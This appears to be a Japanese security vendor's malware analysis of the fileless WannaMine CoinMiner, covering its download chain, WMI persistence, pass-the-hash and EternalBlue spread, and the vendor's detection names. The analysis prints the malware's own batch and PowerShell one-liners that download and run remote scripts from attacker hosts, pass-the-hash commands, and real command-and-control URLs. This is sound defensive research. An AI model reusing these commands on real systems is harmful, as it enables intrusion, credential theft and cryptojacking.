最近、CoinMiner の拡散方式が少しずつ多様化している。 近年では「WannaMine」というファイルレス(Fileless)形式のCoinMinerマルウェアが、拡散のためにSMBの脆弱性だけでなく、WMI(Windows Management Instrumentation)、ADMIN$ 共有フォルダ、SMB によるリモートデスクトップサービスの登録、および起動する方式を使用していることが確認された。
WannaMine の全体的な動作方式は、最初の感染 PC で「sysupdater0.bat」ファイルが実行されると、感染 PC のシステム OS によって、Windows XP の場合、PowerShell を使用できないため、外部から VB スクリプトファイル(*.vbs)をダウンロードし、「cscript.exe」によって実行する。また、Windows Vista 以上の場合は PowerShell スクリプト(*.ps1)をダウンロードし、「powershell.exe」によって実行する。二つの方式は両方ともスクリプト形式(*.vbs、*.ps1)は異なるが内部機能は同じであり、ダウンロードしたスクリプト内部にエンコード(Encoding)された CoinMiner および Mimikaz ハッキングツール、Eternalblue シェルコード(MS17-010)を実行して被害を与える。拡散方式として主に135ポートと445ポートを通して拡散を試みており、135ポートの場合 WMI コマンドを利用してリモート先のシステムの「cmd.exe」を起動し、外部ファイルをダウンロードして実行する。445ポートの場合、SMB 脆弱性(MS17-010)によって拡散する方式と、ADMIN$ 共有フォルダによる拡散、SMB によるリモートデスクトップサービス登録および起動する方式の3種類を使用する。

最初に感染した PC が Windows Vista 以上の場合、外部からダウンロードした PowerShell スクリプトは「DownloadString」関数を使用してファイルレス(Fileless)形式で動作する。
Windows バージョン | アーキテクチャ | PowerShell スクリプトダウンロード URL |
Vista 以上 | x64 | hxxps://profetestruec.net/in6.ps1 hxxps://128.14.23.149/in6.ps1 hxxps://5.135.125.71/in6.ps1 hxxps://172.247.116.87/in6.ps1 hxxps://172.247.116.8/in6.ps1 |
x86 | hxxps://profetestruec.net/in3.ps1 hxxps://128.14.23.149/in3.ps1 hxxps://5.135.125.71/in3.ps1 hxxps://172.247.116.87/in3.ps1 hxxps://172.247.116.8/in3.ps1 | |
XP 以下 | x64/x86 | hxxps://profetestruec.net/info.vbs hxxps://128.14.23.149/info.vbs hxxps://5.135.125.71/info.vbs hxxps://172.247.116.87/info.vbs hxxps://172.247.116.8/info.vbs |
- ダウンロードされた PowerShell スクリプトの機能 (in3.ps1、in6.ps1)
in3.ps1(x86基準)スクリプトには、Windows のアカウント情報奪取のための Mimikatz や SMB 脆弱性(MS17-010)拡散のための Eternalblue シェルコード、CoinMiner 等が BASE64 で暗号化した形で含まれており、感染 PC の WMI クラスにこれを登録(systemcore_Updater4)した後、PowerShell コマンドでこれを実行する。
WMIクラス(root\default: systemcore_Updater4)のプロパティ | |
funs | Eternalblue、リモートデスクトップサービスの生成および実行、リモートによるスケジューラの登録および実行等の機能を実行する中核の PowerShell スクリプト |
mimi | ユーザー認証情報奪取のための Mimikatz |
mon | CoinMiner バイナリ(1) (in3.ps1により powershell.exe にインジェクションされる) |
mons | CoinMiner バイナリ(2) (schtasks.exeにCoinMiner をインジェクションするバイナリ) |
sc | Eternalblue の拡散に使用されるシェルコード |
WMI クラスのプロパティにペイロードを登録すると、不正な PowerShell スクリプトはネットワーク拡散と CoinMiner プロセスの実行前に、持続性の維持のためシステムに WMI のイベントフィルタ(Event Filter)とコンシューマー(Consumer)を利用する。
2. WMI イベントフィルタ登録
マルウェアが感染PCに常駐するための広く知られている手法であり、レジストリ Run あるいは RunOnce キー等に自身を登録する方法がある。しかし、WannaMine の場合は WMI のイベントフィルタとコンシューマーを設定した後、FilterToConsumerBinding を通して登録したイベントフィルタとコンシューマーを接続するため、再起動時にも不正な PowerShell スクリプトが動作するようになる。

この WQL クエリがイベントフィルタに登録されると、システムの再起動後、4~5分後に以下の PowerShell コマンドが実行される。
powershell.exe -NoP -NonI -W Hidden –E 「エンコードされたスクリプト」 |
エンコードされたスクリプトの機能は、in3.ps1(x86基準)の一部をエンコードしたものであり、CoinMiner の拡散行為や、感染 PC に CoinMiner プロセスを実行する行為、特定のポートで通信する PowerShell のプロセスを終了させる行為を実行する。
3. 特定のポートで通信する PowerShell プロセスの終了
現在、システムに開放されたポートのうち、3333番ポート、5555番ポート、7777番ポートで通信を行うプロセスがある場合は終了する。
$tcpconn = netstat -anop tcp…foreach ($t in $tcpconn){$line =$t.split(‘ ‘)| ?{$_}if ($line -eq $null){continue}if (($line[-3].contains(“:3333”) -or $line[-3].contains(“:5555”)-or $line[-3].contains(“:7777”)) -and $t.contains(“ESTABLISHED”)){$evid=$line[-1]Get-Process -id $evid | stop-process -force}} |
4. 感染 PC の節電モード設定の変更
他にも、コインマイニング中にシステムが終了しないようにシステムの電源設定を変更する。
powercfg /CHANGE -standby-timeout-ac 0 | システムが AC 電源で動作しているとき、待機モードに切り替わらないように設定 |
powercfg /CHANGE -hibernate-timeout-ac 0 | システムが AC 電源で動作しているとき、最大節電モードに切り替わらないように設定 |
Powercfg -SetAcValueIndex 381b4222-f694-41f0- 9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000 | ノートパソコンの場合、カバーを閉じても節電モードに入らないように設定 |
5. 拡散方式
WannaMine は感染 PC のネットワークアダプタ設定を確認し、現在の IP アドレスとサブネットマスクを基準にランダムなIPに拡散機能を実行する。この時、リモート PC に RPC DCOM(135番ポート) と SMB(445番ポート) に接続しているかに応じて、異なる拡散方式を使用している。
1) RPC DCOM (135番ポート)
(1) WMI を利用してリモートプロセスを実行
攻撃者は、ネットワーク拡散前に Mimikatz ハッキングツールを利用して NTLM ハッシュ値を取得する。取得した NTLM ハッシュ値によって、クライアント側のローカル管理者権限がなくてもリモートコマンドを実行できる。
$cmd 変数に入れられる文字列は、リモート先 PC の OS が Vista 以上の場合は $cmdps、XP 以下の場合は $cmdvbs が含まれる。
NTLM ハッシュが存在する場合 | Invoke-WmiMethod -class win32_process -name create -Argumentlist $cmd -Credential $cred -Computername $IP |
Invoke-WMIpth -Target $ip -Username $user -Hash $ntlmhash | |
Invoke-WMIpth -Target $ip -domain $domain -Username $user -Hash $ntlmhash | |
Invoke-WMIpth -Target $ip -Username “administrator” -Hash $ntlmhash | |
Invoke-WMIpth -Target $ip -Username ‘administrator’ -Hash $ntlmhash -command $cmdntlm | |
NTLM ハッシュが存在しない場合 (コマンド実行のためにローカル管理者権限が必要) | Invoke-WmiMethod -class win32_process -name create -Argumentlist $cmd -Credential $cred -Computername $IP |
$cmdvbs =”cmd /v:on /c for /f `”tokens=2 delims=.[`” %i in (‘ver’) do (set a=%i)&if !a:~-1!==5 (@echo on error resume next>%windir%\11.vbs&@echo Set ox=CreateObject^(`”MSXML2.XMLHTTP`”^)>>%windir%\11.vbs&@echo ox.open `”GET`”,`”$nic/info.vbs`”,false>>%windir%\11.vbs&@echo ox.send^(^)>>%windir%\11.vbs&@echo If ox.Status=200 Then>>%windir%\11.vbs&@echo Set oas=CreateObject^(`”ADODB.Stream`”^)>>%windir%\11.vbs&@echo oas.Open>>%windir%\11.vbs&@echo oas.Type=1 >>%windir%\11.vbs&@echo oas.Write ox.ResponseBody>>%windir%\11.vbs&@echo oas.SaveToFile `”%windir%\info.vbs`”,2 >>%windir%\11.vbs&@echo oas.Close>>%windir%\11.vbs&@echo End if>>%windir%\11.vbs&@echo Set os=CreateObject^(`”WScript.Shell`”^)>>%windir%\11.vbs&@echo os.Exec^(`”cscript.exe %windir%\info.vbs`”^)>>%windir%\11.vbs&cscript.exe %windir%\11.vbs) else (powershell `”[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};`$aa=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if((`$aa -eq `$null) -or !`$aa.contains(‘$filter_name’)) {if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains(’64’)){IEX(New-Object Net.WebClient).DownloadString(‘$nic/in6.ps1’)}else{IEX(New-Object Net.WebClient).DownloadString(‘$nic/in3.ps1’)}}`”)” |
$cmdps =”cmd /c powershell.exe -NoP -NonI -W Hidden `”[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains(’64’)){IEX(New-Object Net.WebClient).DownloadString(‘$nic/in6.ps1’)}else{IEX(New-Object Net.WebClient).DownloadString(‘$nic/in3.ps1’)}`”” |

2) SMB(445番ポート)
(1) SMB プロトコルを利用したサービスの生成
リモート PC でサービスを実行するために RPC DCOM(135番ポート)と同じく NTLM ハッシュが必要であり、存在しない場合はリモート先の PC のローカル管理者権限が必要である。
NTLM ハッシュが存在する場合 | Invoke-SMBpth -Target $ip -domain $domain -Username $User -Hash $passwd -command $cmd |
NTLM ハッシュが存在しない場合 (コマンド実行のためにローカル管理者権限が必要) | Invoke-SMBExec -Target $ip -domain $domain -Username $User -Password $passwd -command $cmd |


(2) 共有フォルダを利用したタスクスケジューラの生成
$echotxt | out-file \\$ip\Admin$\Temp\sysupdater0.bat -encoding ascii |
schtasks /create /s $ip /sc weekly /ru “NT authority\system” /TN “sysupdater0” /TR “c:\windows\temp\sysupdater0.bat” /U $username /P $passwd /f |
$echotxt =”setlocal EnableDelayedExpansion & for /f `”tokens=2 delims=.[`” %%i in (‘ver’) do (set a=%%i)&if !a:~-1!==5 (@echo on error resume next>%windir%\11.vbs&@echo Set ox=CreateObject^(`”MSXML2.XMLHTTP`”^)>>%windir%\11.vbs&@echo ox.open `”GET`”,`”$nic/info.vbs`”,false>>%windir%\11.vbs&@echo ox.send^(^)>>%windir%\11.vbs&@echo If ox.Status=200 Then>>%windir%\11.vbs&@echo Set oas=CreateObject^(`”ADODB.Stream`”^)>>%windir%\11.vbs&@echo oas.Open>>%windir%\11.vbs&@echo oas.Type=1 >>%windir%\11.vbs&@echo oas.Write ox.ResponseBody>>%windir%\11.vbs&@echo oas.SaveToFile `”%windir%\info.vbs`”,2 >>%windir%\11.vbs&@echo oas.Close>>%windir%\11.vbs&@echo End if>>%windir%\11.vbs&@echo Set os=CreateObject^(`”WScript.Shell`”^)>>%windir%\11.vbs&@echo os.Exec^(`”cscript.exe %windir%\info.vbs`”^)>>%windir%\11.vbs&cscript.exe %windir%\11.vbs) else (setlocal DisableDelayedExpansion&powershell `”[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true}; `$aa=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if((`$aa -eq `$null) -or !`$aa.contains(‘$filter_name’)) {if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains(’64’)){IEX(New-Object Net.WebClient).DownloadString(‘$nic/in6.ps1’)}else{IEX(New-Object Net.WebClient).DownloadString(‘$nic/in3.ps1’)}}`”)” |
(3) SMB 脆弱性(MS17-010)の伝播
以下の [図6] 、[図7] は、リモート PC に Eternalblue の脆弱性試行プロセスにおいてキャプチャされたパケットである。Eternalblue の脆弱性の発現が成功した場合、リモート PC の OS に応じて不正な PowerShell スクリプトがファイルレス形式でダウンロードおよび実行される。
アーキテクチャ | PowerShell スクリプトダウンロード URL |
x64 | hxxp://profetestruec.net:8000/ze6.ps1 |
x86 | hxxp://profetestruec.net:8000/ze3.ps1 |


Eternalblue の脆弱性に加え、WMI、ADMIN$ 共有フォルダ、リモートデスクトップサービスの登録等の拡散方式はシステムから提供される正常な機能であり、攻撃者はこれを CoinMiner の拡散に利用しているため、ネットワークパケットだけで不正か正常かを判断することが困難である。したがって、ユーザーは攻撃者が SMB、WMI プロトコルを悪用できないようにデフォルトのポートを変更したり、当該サービスが不要な場合は無効化したりしておくことも考慮する必要がある。
現在アンラボでは、SMB や WMI プロトコルにより被害を受けた PC で異常な行為が発生した場合、以下の診断名で行為の検知およびブロックを行っている。
最終的に不正な行為を実行する Miner は powershell.exe、または schtask.exe に Injection されて動作し、XMRig のバージョン2.14.1マイナーである。
[ファイルの診断]
BAT/Downloader (2019.08.25.00)
VBS/Downloader (2019.08.25.00)
Script/Powershell (2019.08.25.00)
Trojan/Win32.CoinMiner (2019.04.11.07, 2019.08.25.00)
[行為の診断]
(1) RPC DCOM(135番ポート)を利用して拡散する場合
– Malware/MDP.Behavior.M2330// wmiprvse.exeがPowerShell スクリプトを実行する行為をブロック
(2) SMB プロトコル(445番ポート)を利用したサービスの生成
– Malware/MDP.Behavior.M2324// 外部スクリプトファイルダウンロード機能のサービスを登録する行為をブロック
[V3 IPSブロック]
– Eternalblue 脆弱性のパケット検知
Categories:マルウェアの情報